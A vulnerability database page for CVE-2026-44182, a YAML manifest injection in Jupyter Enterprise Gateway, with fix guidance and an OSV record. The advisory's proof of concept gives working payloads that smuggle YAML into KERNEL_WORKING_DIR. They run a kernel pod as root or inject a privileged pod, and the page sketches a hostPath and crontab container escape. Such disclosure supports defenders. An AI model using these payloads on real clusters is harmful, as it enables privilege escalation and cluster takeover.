Vulnerabilities in pkg:pypi/jupyter_enterprise_gateway

PACKAGE
Advisory Identifier: GHSA-cfw7-6c5v-2wjq
Advisory Summary

CVE-2026-44182 is a CRITICAL kubernetes manifest injection vulnerability (CWE-74: Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')) affecting Jupyter Enterprise Gateway libraries in the PyPI ecosystem. The issue involves kubernetes manifest injection in jinja2 template rendering. Remediation is available by upgrading affected packages to version 3.3.0.

3 Known Advisory Record(s)
Package Vulnerability Intelligence

pkg:pypi/jupyter_enterprise_gateway

3 Known Advisory Record(s)

Vulnerability advisories affecting package pkg:pypi/jupyter_enterprise_gateway. Select an advisory below to view technical details or fixes.

Advisory ID CVE / NVD Severity Summary
GHSA-cfw7-6c5v-2wjq CVE-2026-44182 CRITICAL Jupyter Enterprise Gateway: Kubernetes Manifest Injection in Jinja2 Template Rendering
GHSA-f49j-v924-fx9w CVE-2026-44181 CRITICAL Jupyter Enterprise Gateway: Jinja2 Template Server Side Template Injection resulting in Remote Code Execution
GHSA-chq7-94j8-cj28 CVE-2026-44180 CRITICAL Jupyter Enterprise Gateway: ContainerProcessProxy._enforce_prohibited_ids Bypass

CVE-2026-44182 at a Glance

CVE Identifier CVE-2026-44182
GHSA Identifier GHSA-cfw7-6c5v-2wjq
Severity CRITICAL
CVSS v3.1 Base Score N/A
CWE Classification CWE-74: Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')
Affected Product Jupyter Enterprise Gateway
Package Ecosystem PyPI
Published Date
Last Updated

How to Fix CVE-2026-44182

To remediate this vulnerability, upgrade all affected Jupyter Enterprise Gateway dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

jupyter_enterprise_gateway fixed: 3.3.0
pip install jupyter_enterprise_gateway>=3.3.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show jupyter_enterprise_gateway

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2026-44182, inspect your installed packages using pip:

pip show jupyter_enterprise_gateway

Analyze the terminal output to locate any version of Jupyter Enterprise Gateway in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 3.3.0), your application is affected.

Note: The pip show jupyter_enterprise_gateway command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-74: Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection'), where the product constructs all or part of a command, data structure, or record using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify how it is parsed or interpreted when it is sent to a downstream component. In Jupyter Enterprise Gateway, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary The environment variables used during the rendering of the Kubernetes manifest allow YAML injection, enabling attackers to overwrite existing keys like `securityContext` and inject multi-document YAML to create additional unintended Kubernetes resources. ### Details The server interpolates untrusted environment variables (e.g., `KERNEL_XXX`) into Kubernetes manifests without YAML-aware escaping, enabling YAML injection attacks. Attackers can inject new fields, overwrite critical fields (e.g., duplicate `securityContext` keys, where the last one prevails), and inject document boundaries (`---` for new documents, `...` for end-of-document) to generate multiple resources, potentially creating arbitrary kinds like privileged pods. The Jinja2 template for the Kubernetes manifest contains several `kernel_xxx` variables, such as `kernel_working_dir` that are used when rendering the manifest and are all vectors for YAML injection. https://github.com/jupyter-server/enterprise_gateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/etc/kernel-launchers/kubernetes/scripts/kernel-pod.yaml.j2#L77 These values come from the environment passed in the API call, where they were `KERNEL_XXX` before being converted to lowercase. https://github.com/jupyter-server/enterprise_gateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/etc/kernel-launchers/kubernetes/scripts/launch_kubernetes.py#L130-L137 ### PoC These proof of concepts are injecting in the `KERNEL_WORKING_DIR` env var, but any of the env vars could have been used. By default, the `KERNEL_WORKING_DIR` will be ignored unless `EG_MIRROR_WORKING_DIRS` is truthy for the `enterprise-gateway`. This is controlled by the `mirrorWorkingDirs` value in the Helm chart. Using `ducaale/xh`: ```bash xh http://localhost:31529/api/kernels env:=@env-working-dir-exploit.yaml ``` `env-working-dir-exploit.yaml`: ```json { "KERNEL_POD_NAME": "working-dir-root", "KERNEL_NAMESPACE": "notebooks", "KERNEL_WORKING_DIR": "\"/tmp\\\"\\n\\n# INJECTION\\n securityContext:\\n runAsUser: 0\\n runAsGroup: 0\\n fsGroup: 100\\n# HAHA - stray quote \"" } ``` Resulting request: ``` POST /api/kernels HTTP/1.1 Accept: application/json, */*;q=0.5 Accept-Encoding: gzip, deflate, br, zstd Connection: keep-alive Content-Length: 233 Content-Type: application/json Host: localhost:31529 User-Agent: xh/0.24.0 { "env": { "KERNEL_POD_NAME": "working-dir-root", "KERNEL_NAMESPACE": "notebooks", "KERNEL_WORKING_DIR": "\"/tmp\\\"\\n\\n# INJECTION\\n securityContext:\\n runAsUser: 0\\n runAsGroup: 0\\n fsGroup: 100\\n# HAHA - stray quote \"" } } ``` Curl equivalent command: ```bash curl http://localhost:31529/api/kernels -H 'content-type: application/json' -H 'accept: application/json, */*;q=0.5' -d '{"env":{"KERNEL_POD_NAME":"working-dir-root","KERNEL_NAMESPACE":"notebooks","KERNEL_WORKING_DIR":"\"/tmp\\\"\\n\\n# INJECTION\\n securityContext:\\n runAsUser: 0\\n runAsGroup: 0\\n fsGroup: 100\\n# HAHA - stray quote \""}}' ``` The rendered Jinja2 template: ```yaml # This file defines the Kubernetes objects necessary for kernels to run witihin Kubernetes. # Substitution parameters are processed by the launch_kubernetes.py code located in the # same directory. Some values are factory values, while others (typically prefixed with 'kernel_') can be # provided by the client. # # This file can be customized as needed. No changes are required to launch_kubernetes.py provided kernel_ # values are used - which be automatically set from corresponding KERNEL_ env values. Updates will be required # to launch_kubernetes.py if new document sections (i.e., new k8s 'kind' objects) are introduced. # apiVersion: v1 kind: Pod metadata: name: "working-dir-root" namespace: "notebooks" labels: kernel_id: "186f4ecf-bf90-40b8-b210-a0987bfce927" app: enterprise-gateway component: kernel source: kernel-pod.yaml annotations: cluster-autoscaler.kubernetes.io/safe-to-evict: "false" spec: restartPolicy: Never serviceAccountName: "default" # NOTE: that using runAsGroup requires that feature-gate RunAsGroup be enabled. # WARNING: Only using runAsUser w/o runAsGroup or NOT enabling the RunAsGroup feature-gate # will result in the new kernel pod's effective group of 0 (root)! although the user will # correspond to the runAsUser value. As a result, BOTH should be uncommented AND the feature-gate # should be enabled to ensure expected behavior. In addition, 'fsGroup: 100' is recommended so # that /home/jovyan can be written to via the 'users' group (gid: 100) irrespective of the # "kernel_uid" and "kernel_gid" values. securityContext: runAsUser: 1000 runAsGroup: 100 fsGroup: 100 containers: - image: "elyra/kernel-py:3.2.3" name: "working-dir-root" env: # Add any custom envs here that aren't already configured for the kernel's environment # - name: MY_CUSTOM_ENV # value: "my_custom_value" workingDir: "/tmp" # INJECTION securityContext: runAsUser: 0 runAsGroup: 0 fsGroup: 100 # HAHA - stray quote " volumeMounts: # Define any "unconditional" mounts here, followed by "conditional" mounts that vary per client volumes: # Define any "unconditional" volumes here, followed by "conditional" volumes that vary per client ``` Normally the container would run as `uid=1000(jovyan) gid=100(users) groups=100(users)`. This injects a pod `securityContext` with `runAsUser: 0` and `runAsGroup: 0` (and `fsGroup: 100`). The processing of the YAML results in the duplicate key clobbering the original. Making the container run as `uid=0(root) gid=0(root) groups=0(root),100(users)`. In addition to injecting a pod level `securityContext` it is also possible to inject a container level `securityContext` which supports the `privileged` field. #### Injecting a Pod By injecting `...` and `---` it is possible to use multi-document YAML to inject Kubernetes resources. ```bash xh http://localhost:31529/api/kernels env:=@env-working-dir-exploit-pod.yaml ``` `env-working-dir-exploit-pod.yaml`: ```json { "KERNEL_POD_NAME": "working-dir-root-pod", "KERNEL_NAMESPACE": "notebooks", "KERNEL_WORKING_DIR": "\"/tmp\\\"\\n\\n# INJECTION\\n...\\n---\\napiVersion: v1\\nkind: Pod\\nmetadata:\\n name: injected-pod\\n\\\n spec:\\n containers:\\n - name: injected-container\\n image: nginx\\n ports:\\n - containerPort: 80\\n securityContext:\\n privileged: true\\n runAsUser: 0\\n runAsGroup: 0\\n...\\n# HAHA - stray quote\"" } ``` This is rendered as (skipping the beginning of the rendering before the inject): ```yaml workingDir: "/tmp" # INJECTION ... --- apiVersion: v1 kind: Pod metadata: name: injected-pod spec: containers: - name: injected-container image: nginx ports: - containerPort: 80 securityContext: privileged: true runAsUser: 0 runAsGroup: 0 ... # HAHA - stray quote" volumeMounts: # Define any "unconditional" mounts here, followed by "conditional" mounts that vary per client volumes: # Define any "unconditional" volumes here, followed by "conditional" volumes that vary per client ``` `kubectl get pods -n notebooks` ``` NAME READY STATUS RESTARTS AGE injected-pod 1/1 Running 0 4s working-dir-root-pod 1/1 Running 0 4s ``` The `injected-pod` has been created in addition to the `working-dir-root-pod`. `kubectl get pod/injected-pod -o yaml -n notebooks -o jsonpath='{.spec.containers[*].securityContext}'`: ```json { "privileged": true, "runAsGroup": 0, "runAsUser": 0 } ``` ### Impact An attacker can create pods running with arbitrary, `image`, `securityContext`, and `volumeMounts` including `hostPath` mounts. Privileged pods can be created. Arbitrary Kubernetes resources of kinds: `Pod`, `Secret`, `PersistentVolumeClaim`, `PersistentVolume`, `Service`, and `ConfigMap` can be created. Repeated exploitation can compromise all worker nodes, and thus the entire Kubernetes cluster. Multiple container escape vectors exist. It is possible to create privileged pods which could load kernel modules to compromise the host. It is also possible to specify volume mounts, so another vector for a container escape is to use a `hostPath` R/W volume mount, use the injected `securityContext` to run as `root`, and then gain code execution in the underlying worker node by creating a crontab entry in the mounted host file system.

CVE-2026-44182 Affected Jupyter Enterprise Gateway Versions

1 component(s)
Fixed Versions:
3.3.0
Product / Package Ecosystem Affected Versions Fixed Version
jupyter_enterprise_gateway
PyPI
< 3.3.0
3.3.0

References

Frequently Asked Questions

What is CVE-2026-44182?
CVE-2026-44182 is a security vulnerability in Jupyter Enterprise Gateway involving Kubernetes Manifest Injection in Jinja2 Template Rendering under CWE-74: Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection').
Which Jupyter Enterprise Gateway versions are affected?
Affected versions include releases prior to 3.3.0 across affected packages: jupyter_enterprise_gateway.
What version fixes CVE-2026-44182?
Upgrading to 3.3.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is jupyter_enterprise_gateway affected?
Yes, jupyter_enterprise_gateway is affected in releases prior to 3.3.0. Upgrade your dependency to 3.3.0 or later.
What CWE is associated with CVE-2026-44182?
CVE-2026-44182 is classified under CWE-74: Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection') (The product constructs all or part of a command, data structure, or record using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify how it is parsed or interpreted when it is sent to a downstream component.).
How can I check PyPI dependencies for CVE-2026-44182?
Run the dependency tree command: 'pip show jupyter_enterprise_gateway'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-cfw7-6c5v-2wjq",
  "modified" : "2026-06-03T21:37:16Z",
  "published" : "2026-06-03T21:37:16Z",
  "aliases" : [ "CVE-2026-44182" ],
  "summary" : "Jupyter Enterprise Gateway: Kubernetes Manifest Injection in Jinja2 Template Rendering",
  "details" : "### Summary\n\nThe environment variables used during the rendering of the Kubernetes manifest allow YAML injection, enabling attackers to overwrite existing keys like `securityContext` and inject multi-document YAML to create additional unintended Kubernetes resources.\n\n### Details\n\nThe server interpolates untrusted environment variables (e.g., `KERNEL_XXX`) into Kubernetes manifests without YAML-aware escaping, enabling YAML injection attacks. Attackers can inject new fields, overwrite critical fields (e.g., duplicate `securityContext` keys, where the last one prevails), and inject document boundaries (`---` for new documents, `...` for end-of-document) to generate multiple resources, potentially creating arbitrary kinds like privileged pods.\n\nThe Jinja2 template for the Kubernetes manifest contains several `kernel_xxx` variables, such as `kernel_working_dir` that are used when rendering the manifest and are all vectors for YAML injection.\nhttps://github.com/jupyter-server/enterprise_gateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/etc/kernel-launchers/kubernetes/scripts/kernel-pod.yaml.j2#L77\n\nThese values come from the environment passed in the API call, where they were `KERNEL_XXX` before being converted to lowercase.\n\nhttps://github.com/jupyter-server/enterprise_gateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/etc/kernel-launchers/kubernetes/scripts/launch_kubernetes.py#L130-L137\n\n### PoC\n\nThese proof of concepts are injecting in the `KERNEL_WORKING_DIR` env var, but any of the env vars could have been used.\nBy default, the `KERNEL_WORKING_DIR` will be ignored unless `EG_MIRROR_WORKING_DIRS` is truthy for the `enterprise-gateway`. This is controlled by the `mirrorWorkingDirs` value in the Helm chart.\n\nUsing `ducaale/xh`:\n\n```bash\nxh http://localhost:31529/api/kernels env:=@env-working-dir-exploit.yaml\n```\n\n`env-working-dir-exploit.yaml`:\n\n```json\n{\n  \"KERNEL_POD_NAME\": \"working-dir-root\",\n  \"KERNEL_NAMESPACE\": \"notebooks\",\n  \"KERNEL_WORKING_DIR\": \"\\\"/tmp\\\\\\\"\\\\n\\\\n# INJECTION\\\\n  securityContext:\\\\n    runAsUser: 0\\\\n    runAsGroup: 0\\\\n    fsGroup: 100\\\\n# HAHA - stray quote \\\"\"\n}\n\n```\n\nResulting request:\n\n```\nPOST /api/kernels HTTP/1.1\nAccept: application/json, */*;q=0.5\nAccept-Encoding: gzip, deflate, br, zstd\nConnection: keep-alive\nContent-Length: 233\nContent-Type: application/json\nHost: localhost:31529\nUser-Agent: xh/0.24.0\n\n{\n    \"env\": {\n        \"KERNEL_POD_NAME\": \"working-dir-root\",\n        \"KERNEL_NAMESPACE\": \"notebooks\",\n        \"KERNEL_WORKING_DIR\": \"\\\"/tmp\\\\\\\"\\\\n\\\\n# INJECTION\\\\n  securityContext:\\\\n    runAsUser: 0\\\\n    runAsGroup: 0\\\\n    fsGroup: 100\\\\n# HAHA - stray quote \\\"\"\n    }\n}\n```\n\nCurl equivalent command:\n\n```bash\ncurl http://localhost:31529/api/kernels -H 'content-type: application/json' -H 'accept: application/json, */*;q=0.5' -d '{\"env\":{\"KERNEL_POD_NAME\":\"working-dir-root\",\"KERNEL_NAMESPACE\":\"notebooks\",\"KERNEL_WORKING_DIR\":\"\\\"/tmp\\\\\\\"\\\\n\\\\n# INJECTION\\\\n  securityContext:\\\\n    runAsUser: 0\\\\n    runAsGroup: 0\\\\n    fsGroup: 100\\\\n# HAHA - stray quote \\\"\"}}'\n```\n\nThe rendered Jinja2 template:\n\n```yaml\n# This file defines the Kubernetes objects necessary for kernels to run witihin Kubernetes.\n# Substitution parameters are processed by the launch_kubernetes.py code located in the\n# same directory.  Some values are factory values, while others (typically prefixed with 'kernel_') can be\n# provided by the client.\n#\n# This file can be customized as needed.  No changes are required to launch_kubernetes.py provided kernel_\n# values are used - which be automatically set from corresponding KERNEL_ env values.  Updates will be required\n# to launch_kubernetes.py if new document sections (i.e., new k8s 'kind' objects) are introduced.\n#\napiVersion: v1\nkind: Pod\nmetadata:\n  name: \"working-dir-root\"\n  namespace: \"notebooks\"\n  labels:\n    kernel_id: \"186f4ecf-bf90-40b8-b210-a0987bfce927\"\n    app: enterprise-gateway\n    component: kernel\n    source: kernel-pod.yaml\n  annotations:\n    cluster-autoscaler.kubernetes.io/safe-to-evict: \"false\"\nspec:\n  restartPolicy: Never\n  serviceAccountName: \"default\"\n# NOTE: that using runAsGroup requires that feature-gate RunAsGroup be enabled.\n# WARNING: Only using runAsUser w/o runAsGroup or NOT enabling the RunAsGroup feature-gate\n# will result in the new kernel pod's effective group of 0 (root)! although the user will\n# correspond to the runAsUser value.  As a result, BOTH should be uncommented AND the feature-gate\n# should be enabled to ensure expected behavior.  In addition, 'fsGroup: 100' is recommended so\n# that /home/jovyan can be written to via the 'users' group (gid: 100) irrespective of the\n# \"kernel_uid\" and \"kernel_gid\" values.\n  securityContext:\n    runAsUser: 1000\n    runAsGroup: 100\n    fsGroup: 100\n  containers:\n  - image: \"elyra/kernel-py:3.2.3\"\n    name: \"working-dir-root\"\n    env:\n# Add any custom envs here that aren't already configured for the kernel's environment\n#    - name: MY_CUSTOM_ENV\n#      value: \"my_custom_value\"\n    workingDir: \"/tmp\"\n\n# INJECTION\n  securityContext:\n    runAsUser: 0\n    runAsGroup: 0\n    fsGroup: 100\n# HAHA - stray quote \"\n    volumeMounts:\n# Define any \"unconditional\" mounts here, followed by \"conditional\" mounts that vary per client\n  volumes:\n# Define any \"unconditional\" volumes here, followed by \"conditional\" volumes that vary per client\n```\n\nNormally the container would run as `uid=1000(jovyan) gid=100(users) groups=100(users)`.\nThis injects a pod `securityContext` with `runAsUser: 0` and `runAsGroup: 0` (and `fsGroup: 100`).\nThe processing of the YAML results in the duplicate key clobbering the original.\nMaking the container run as `uid=0(root) gid=0(root) groups=0(root),100(users)`.\n\nIn addition to injecting a pod level `securityContext` it is also possible to inject a container level `securityContext` which supports the `privileged` field.\n\n\n#### Injecting a Pod\n\nBy injecting `...` and `---` it is possible to use multi-document YAML to inject Kubernetes resources.\n\n```bash\nxh http://localhost:31529/api/kernels env:=@env-working-dir-exploit-pod.yaml\n```\n\n`env-working-dir-exploit-pod.yaml`:\n\n```json\n{\n  \"KERNEL_POD_NAME\": \"working-dir-root-pod\",\n  \"KERNEL_NAMESPACE\": \"notebooks\",\n  \"KERNEL_WORKING_DIR\": \"\\\"/tmp\\\\\\\"\\\\n\\\\n# INJECTION\\\\n...\\\\n---\\\\napiVersion: v1\\\\nkind: Pod\\\\nmetadata:\\\\n  name: injected-pod\\\\n\\\\\\n  spec:\\\\n  containers:\\\\n    - name: injected-container\\\\n      image: nginx\\\\n      ports:\\\\n        - containerPort: 80\\\\n      securityContext:\\\\n        privileged: true\\\\n        runAsUser: 0\\\\n        runAsGroup: 0\\\\n...\\\\n# HAHA - stray quote\\\"\"\n}\n```\n\nThis is rendered as (skipping the beginning of the rendering before the inject):\n\n```yaml\n    workingDir: \"/tmp\"\n\n# INJECTION\n...\n---\napiVersion: v1\nkind: Pod\nmetadata:\n  name: injected-pod\nspec:\n  containers:\n    - name: injected-container\n      image: nginx\n      ports:\n        - containerPort: 80\n      securityContext:\n        privileged: true\n        runAsUser: 0\n        runAsGroup: 0\n...\n# HAHA - stray quote\"\n    volumeMounts:\n# Define any \"unconditional\" mounts here, followed by \"conditional\" mounts that vary per client\n  volumes:\n# Define any \"unconditional\" volumes here, followed by \"conditional\" volumes that vary per client\n```\n\n`kubectl get pods -n notebooks`\n```\nNAME                   READY   STATUS    RESTARTS   AGE\ninjected-pod           1/1     Running   0          4s\nworking-dir-root-pod   1/1     Running   0          4s\n```\n\nThe `injected-pod` has been created in addition to the `working-dir-root-pod`.\n\n`kubectl get pod/injected-pod -o yaml -n notebooks -o jsonpath='{.spec.containers[*].securityContext}'`:\n\n```json\n{\n  \"privileged\": true,\n  \"runAsGroup\": 0,\n  \"runAsUser\": 0\n}\n```\n\n### Impact\n\nAn attacker can create pods running with arbitrary, `image`, `securityContext`, and `volumeMounts` including `hostPath` mounts. Privileged pods can be created.\n\nArbitrary Kubernetes resources of kinds: `Pod`, `Secret`, `PersistentVolumeClaim`, `PersistentVolume`, `Service`, and `ConfigMap` can be created.\n\nRepeated exploitation can compromise all worker nodes, and thus the entire Kubernetes cluster. Multiple container escape vectors exist. It is possible to create privileged pods which could load kernel modules to compromise the host. It is also possible to specify volume mounts, so another vector for a container escape is to use a `hostPath` R/W volume mount, use the injected `securityContext` to run as `root`, and then gain code execution in the underlying worker node by creating a crontab entry in the mounted host file system.",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "jupyter_enterprise_gateway"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "3.3.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/jupyter-server/enterprise_gateway/security/advisories/GHSA-cfw7-6c5v-2wjq"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/jupyter-server/enterprise_gateway"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-74" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-06-03T21:37:16Z",
    "nvd_published_at" : null
  }
}